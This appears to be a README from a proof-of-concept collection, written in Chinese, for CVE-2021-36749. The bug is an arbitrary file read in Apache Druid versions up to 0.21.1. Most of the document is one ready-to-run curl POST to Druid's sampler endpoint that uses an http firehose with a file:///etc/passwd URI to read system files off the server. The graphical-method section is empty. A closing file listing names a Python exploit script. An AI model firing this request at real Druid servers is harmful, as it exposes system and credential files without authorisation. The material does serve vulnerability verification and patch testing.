Apache Druid 任意文件读取# CVE-2021-36749
Apache Druid 任意文件读取
受影响版本:version <= 0.21.1
使用以下两种方式均可
## 命令行方式
```bash
curl http://127.0.0.1:8888/druid/indexer/v1/sampler?for=connect -H "Content-Type:application/json" -X POST -d "{\"type\":\"index\",\"spec\":{\"type\":\"index\",\"ioConfig\":{\"type\":\"index\",\"firehose\":{\"type\":\"http\",\"uris\":[\" file:///etc/passwd \"]}},\"dataSchema\":{\"dataSource\":\"sample\",\"parser\":{\"type\":\"string\", \"parseSpec\":{\"format\":\"regex\",\"pattern\":\"(.*)\",\"columns\":[\"a\"],\"dimensionsSpec\":{},\"timestampSpec\":{\"column\":\"no_ such_ column\",\"missingValue\":\"2010-01-01T00:00:00Z\"}}}}},\"samplerConfig\":{\"numRows\":500,\"timeoutMs\":15000}}"
```
## 图形界面方式


[4.0K] /data/pocs/b8068f5f8e6ec901af5d25f6e6be24be063ff194
├── [1.4K] CVE-2021-36749.py
└── [ 882] README.md
0 directories, 2 files